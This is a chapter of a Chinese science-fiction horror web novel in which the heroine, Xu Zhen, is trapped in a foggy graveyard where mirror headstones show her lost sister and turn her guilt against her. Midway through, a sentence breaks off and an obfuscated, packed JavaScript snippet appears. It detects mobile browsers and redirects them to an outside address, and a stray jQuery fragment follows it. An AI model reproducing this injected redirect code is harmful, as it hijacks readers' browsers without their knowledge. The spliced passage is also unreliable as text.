许真抵达墓园的时候,没忍住悄悄地往里面看了一眼。她没想到,那栋曾被根系包裹住的大楼,现在竟然已经塌成了一片废墟,就像个被胡乱碾压烂的蛋糕一般,狼狈得没了模样。
而许真移动视线,再看向何惑的那间旧诊所时,就看见那间原本不大的小房子连门带墙全都被轰炸了个彻底,简陋的医疗器械凌乱地堆在一起,再仔细一看,能看到一扇被炸得扭曲的绿色大门后面,随意地散落着一些她从未见过的器官和组织。
那些应该就是何惑曾经解剖过的感染者。一想到这,她的后背就忍不住一阵簌簌发冷。而更令人没想到的是,在联邦政府眼里他真的像是个禁忌一般的存在,无论怎么样,他们都想在这个世界上抹去何惑的存在。那天要不是她跑得快,现在她恐怕就已经坐在联邦政府的审讯室了。许真后怕地收回视线,动作迅速地赶忙离开。
她越过墓园,很快就抵达了和爆炸地点相隔的那片林子里。和预想中的不一样,这片林子竟然出奇地宁静,没有围剿的黑线怪物,也没有任何潜伏的新催化感染者。她握着枪行走在林子里,只感觉头盔里的视线越来越暗,灰蒙蒙的好像开始起雾。
雾气越来越浓,几乎快要遮住视线,她感觉不对劲地回过头一看,迷雾包裹了整片林子。她心中生出一丝不好的预感。但如果现在原路返回的话,她怕姐姐会等不及。
敌不动我不动,以不变应万变。她脑子里立刻就冒出来这个念头。她对于这个世界的了解不足百分之一,对于所有突发情况都只能小心谨慎,绝对不能掉以轻心。只是她没想到,这陷阱这么快就被她踩了进去。
她握紧手中的枪,看见眼前的雾气越来越浓,耳边就只剩下自己的脚步在不断踩着枯叶前进的声音。
目前的处境还算是安全的。她不敢停下,继续警惕地按照原计划的路线向前走,祈祷眼前的路能够重新恢复清晰,但渐渐地,她目光所及之处竟然都变成了阴沉沉的黑雾,昏暗笼罩下来,眼前竟慢慢地显现出一个个错落的坟包,而在每个坟包面前,竟全都斜斜地立着一面陈旧的镜子,那镜面好像一碗发霉的浊粥,霉烂而厚重,在这里作为墓碑而存在。
这么多年来,飞舰上很少经历死亡,她还是第一次亲眼看见坟墓,尤其是如此诡异的坟墓。她不知道这是什么独特的传统,还是感染者编造的幻境,就像上次的那个血池子一样。
奇人怪事,能避则避。这是许真遇到何惑后总结的经验。她不敢继续在这停留,立刻打开手环里新安装的定位系统,计划如何能从这里离开。
但她一打开手环,蓝色的屏幕就闪烁地抖动了几下,她预感不好地点开定位系统,一片淡黄色的系统界面铺开,那上面除了一个蓝色的位置标记外,就没有了其他任何地点标识。
信号被屏蔽了。她顿时不安地反应过来,反反复复试了好几次后,依旧是这样。
看来这次真的又落入到感染者手里了。许真紧紧地握住手中的枪,赶忙从口袋里拿出来一支拯救剂。经过上次她发现,被感染者走进感染者的狩猎区后不会被再次感染,但是会被催化感染进程,所以她可不想还没有抵达目的地,就被催化成感染者。
她把拯救剂扎进自己的手臂里,注射完毕之后,又尝试按照记忆里的路线继续往前走。
白色的雾气越来越重,好像无形的魂魄一般,不散地缠绕着整片林子。许真不敢停留地一直往前走,一个个黑色的树影由远及近地接连映入眼里,她微微地松了口气,看来感染者还没有开启猎杀模式。
如果能在它“苏醒”之前走出去,那是再好不过。她紧紧地盯着前方的黑色树影,目光所及之处越来越近,她加快脚步地继续往前走,冲破雾气,猛然地,面前骤地出现一个人影。
不知道是疾走的速度还是恐惧的心跳,她的呼吸喘得急促又沉重,她紧紧地握住枪,好久后才强迫自己慢慢地冷静下来。
她的呼吸慢慢平缓,背后漫上来一层薄薄的冷汗。
透背的寒冷,她的大脑从未如此清晰,她怔怔地盯着面前这片阴沉的荒原,一个熟悉的身影被映照在镜子当中,身后是灰蒙蒙的杂草和坟墓,在雾气的裹挟下好像随时有可能钻出来什么扼命的生物。
她肢体有些迟钝地往后退,面前那个身影也随着她的动作一同移动。
那是真的是一面镜子。而她现在,又回到了之前离开的那个坟场,被大大小小错落的坟包包围着。面前,那座坟墓前立着的镜子斑驳,却清晰地照映出她的模样,那是一张有些青涩的脸,明亮的眼睛里亮着道澄澈又锋利的光,一凝神微微蹙起,眼底又沉着种不服输的执拗与韧劲,就好像是把收着刃的刀。
而她的下半身体被雾气缠绕,有一种疏离的神秘感。许真心底忽然传来一阵幽幽的恐惧,她现在身穿着防护服,戴着头盔,但镜子里的她,身上却是一套指挥官制服,脸上那原本沉静的神色也正在缓缓扭曲,逐渐透出一种阴森的诡异感。
她紧张地想要逃离这面瘆人的镜子,但她的双腿就好像被粘住了一般死死地钉在原地,视线僵硬地停在前方,直直地看着雾气在自己的身体里缠绕,那张熟悉的脸开始不停地扩张,撕扯,变形,像水波一样翻搅,诡异的形态骤然一掀,映照在镜子里的影子瞬间变成了另外一个人,眼神无比柔和。
许真的心脏被紧紧一抓,她认出了那个人,正是她的姐姐,许知。一瞬间,心底里所有的悲伤、悔恨、思念、愧疚都一股脑地冲上来,几乎让她的心理防线决堤。
她和姐姐分开了将近十年。那是在发现新地球后的没多久,舰队上便陆续地派出一批批人员前往调查培训,虽然她姐姐的年纪较小,但是也在其中。
从那以后,许真便经过了最漫长的一段清醒时间。在从前的漂泊状态中,她大多数时间都是在休眠仓里睡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482726|201842||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过去,但在那十年里,她每时每刻都在接受舰队的适应性训练,努力成为舰队里最优秀的战士,只为了能够早点获得被派往新地球的资格和机会。
但身边一批批队员成功降落,而她却始终被留在飞舰上,经过了一年又一年。
她不解,迷茫。她甚至也萌生过要将飞舰炸毁,独自逃往新地球的想法。直到有一条神秘信息发送到了她的手环上,发信人正是017。
他向许真揭开了这个美好世界背后的真相,告诉她一切都不过是个陷阱。
他要许真快逃,快逃到宇宙中去,但她却始终放不下在新地球里的姐姐。直到017答应她会把姐姐重新送回到飞舰上。
她一开始不相信。无数次她反反复复地揣测着017的身份,但却毫无头绪,而这些怀疑与揣摩,却终于在她重新在飞舰上见到姐姐的时候烟消云散。
但她没想到的是,她不过才跟姐姐重聚了十多个小时,飞舰上就遭遇到启航反抗,只剩下一片残败的废墟。
所以,她站在这里,但这块镜碑上出现的为什么会是她的姐姐许知?是在预告她姐姐的死亡,还是她没能保护好姐姐的罪责?抑或又是飞舰上那些反对者的愤怒?明明他们心中所系的人还在新地球的土地上,可他们却要重新开启一段没有返程旅途。目的地在哪里?意义在哪里?
飞舰爆炸前的那些指责和怒火,好像又从这面镜子里冲击出来,尽数地审视着她的自私和罪责,一直被隐去的声音和痛苦又重新包裹着她,这就是她所作出的选择,如此软弱又无能的选择,一场大爆炸,几次危机,根本不能够惩罚她。
所以他们现在被召唤出她的灵魂深处,清晰地在她面前,深刻又无情地审视着她。
镜子里的人脸在不断变换,许真的头像在有个咒语在环绕一般,疼痛得几乎快要裂开。
终于,镜子里的人脸如水一般漾开,又变成了她自己的模样。她头上的疼痛也一抽一抽地停了下来。她的脸上满是泪水,湿答答的。她怔怔地抬起头看着镜子前的自己,眼眶猩红,头发凌乱,紧绷的下颌上挂着滴冰凉的泪。
她不知道现在镜子里的人到底是不是真正的她。但她看着面前这张熟悉得不能再熟悉的脸,控制不住地也同样开始审视自己。
她为什么如此懦弱?为什么如此自私?既然做了选择又为什么没有能力保护姐姐?为什么会让自己感染?明明她不是指挥官吗?她不是所有队员中最强的一个吗?
她在这一声声的质问中开始迷失,她不知道对于那些死去或许失去的人,她应该怎么办。她看见镜子里的自己又开扭曲,融化,原本的身体逐渐变得狭长,晃动地从镜子的那一面缓缓钻出来,柔软黏腻的触感搭在她的四肢、头盔上,沉溺地把她拉进镜子后面的那个坟墓里。
她想就这样死去算了。就睡在这个坟墓里,就像以前睡在飞舰的休眠仓一样宁静。